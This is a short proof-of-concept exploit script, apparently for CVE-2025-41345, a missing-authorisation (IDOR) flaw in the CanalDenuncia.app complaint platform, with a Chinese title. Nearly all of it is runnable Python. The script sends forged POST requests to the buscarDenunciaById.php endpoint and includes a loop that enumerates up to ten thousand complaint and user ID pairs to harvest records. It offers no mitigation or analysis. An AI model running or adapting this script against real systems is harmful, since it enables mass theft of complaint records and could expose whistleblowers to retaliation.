CVE-2025-41345 CanalDenuncia.app 授权缺失漏洞

import requests # CVE-2025-41345 PoC - IDOR in CanalDenuncia.app # Target: /backend/api/buscarDenunciaById.php TARGET_URL = "http://target.com/backend/api/buscarDenunciaById.php" def exploit_idor(target_url, id_denuncia, id_user): """ Exploit IDOR vulnerability by sending POST request with arbitrary id_denuncia and id_user """ payload = { 'id_denuncia': id_denuncia, # Arbitrary complaint ID 'id_user': id_user # Arbitrary user ID } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0' } try: response = requests.post(target_url, data=payload, headers=headers, timeout=10) print(f"[*] Request sent for id_denuncia={id_denuncia}, id_user={id_user}") print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: print(f"[+] Response:\n{response.text}") return response.json() except Exception as e: print(f"[-] Error: {e}") return None def enumerate_users(target_url, max_complaints=100, max_users=100): """ Enumerate all complaints and user information """ results = [] for complaint_id in range(1, max_complaints + 1): for user_id in range(1, max_users + 1): result = exploit_idor(target_url, complaint_id, user_id) if result: results.append(result) return results if __name__ == "__main__": # Single test case exploit_idor(TARGET_URL, 1, 1)